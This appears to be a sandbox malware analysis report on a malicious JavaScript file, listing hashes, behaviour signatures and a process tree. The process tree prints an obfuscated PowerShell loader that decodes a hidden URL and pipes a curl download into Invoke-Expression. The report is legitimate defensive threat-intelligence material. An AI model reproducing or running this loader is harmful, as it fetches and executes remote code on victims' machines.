Analysis

  • max time kernel
    90s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:00

General

  • Target

    6f21423518630c933097530dd6c1927464be1165d6aa2c6afc0e669311522902.js

  • Size

    161KB

  • MD5

    9b00d7834b5765e9f4abadf7157a4a44

  • SHA1

    4baa4efc8f3ee91616b8789d7395aa160eeff656

  • SHA256

    6f21423518630c933097530dd6c1927464be1165d6aa2c6afc0e669311522902

  • SHA512

    5b7283180511950e039c3745d641cd307a8c59310073a08ec749b8bb566e7acd4aa09f20ea5f91c7a550bc303e0a7d15d25e6a9263d754c0dc38dc0c0bc037d1

  • SSDEEP

    1536:nwhup+uA4hs3qk2EcsdminklgHXbfHSdDTA4hs3qk24csdminklgHXbfHSdDscst:nKuyKsnjramQsnjraNsnjra2TL

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\6f21423518630c933097530dd6c1927464be1165d6aa2c6afc0e669311522902.js
    1⤵
      PID:3124
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $fwsiug='ur' ;new-alias printout c$($fwsiug)l;$rjkzwhcg=(5332,5343,5351,5335,5337,5332,5352,5351,5356,5289,5351,5285,5332,5280,5350,5345,5346,5281,5283,5280,5346,5338,5346,5297,5349,5295,5343,5339,5344,5350,5349,5284,5283);$tyxwsdh=('bronx','get-cmdlet');$nahfexyducbgr=$rjkzwhcg;foreach($pbsgyfru in $nahfexyducbgr){$hcaugo=$pbsgyfru;$biaqfluxvoe=$biaqfluxvoe+[char]($hcaugo-5234);$iswuloxtygeda=$biaqfluxvoe; $egqdfhuonpzsl=$iswuloxtygeda};$qmxifuwvkpsa[2]=$egqdfhuonpzsl;$pvueqbfwz='rl';$ytnibz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $egqdfhuonpzsl)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $fwsiug='ur' ;new-alias printout c$($fwsiug)l;$rjkzwhcg=(5332,5343,5351,5335,5337,5332,5352,5351,5356,5289,5351,5285,5332,5280,5350,5345,5346,5281,5283,5280,5346,5338,5346,5297,5349,5295,5343,5339,5344,5350,5349,5284,5283);$tyxwsdh=('bronx','get-cmdlet');$nahfexyducbgr=$rjkzwhcg;foreach($pbsgyfru in $nahfexyducbgr){$hcaugo=$pbsgyfru;$biaqfluxvoe=$biaqfluxvoe+[char]($hcaugo-5234);$iswuloxtygeda=$biaqfluxvoe; $egqdfhuonpzsl=$iswuloxtygeda};$qmxifuwvkpsa[2]=$egqdfhuonpzsl;$pvueqbfwz='rl';$ytnibz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $egqdfhuonpzsl)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4892

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10n3hwuo.vcm.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4892-0-0x00007FFC53833000-0x00007FFC53835000-memory.dmp

      Filesize

      8KB

    • memory/4892-1-0x0000027BB3520000-0x0000027BB3542000-memory.dmp

      Filesize

      136KB

    • memory/4892-11-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4892-12-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4892-13-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4892-14-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4892-15-0x00007FFC53833000-0x00007FFC53835000-memory.dmp

      Filesize

      8KB

    • memory/4892-16-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4892-19-0x00007FFC53830000-0x00007FFC542F1000-memory.dmp

      Filesize

      10.8MB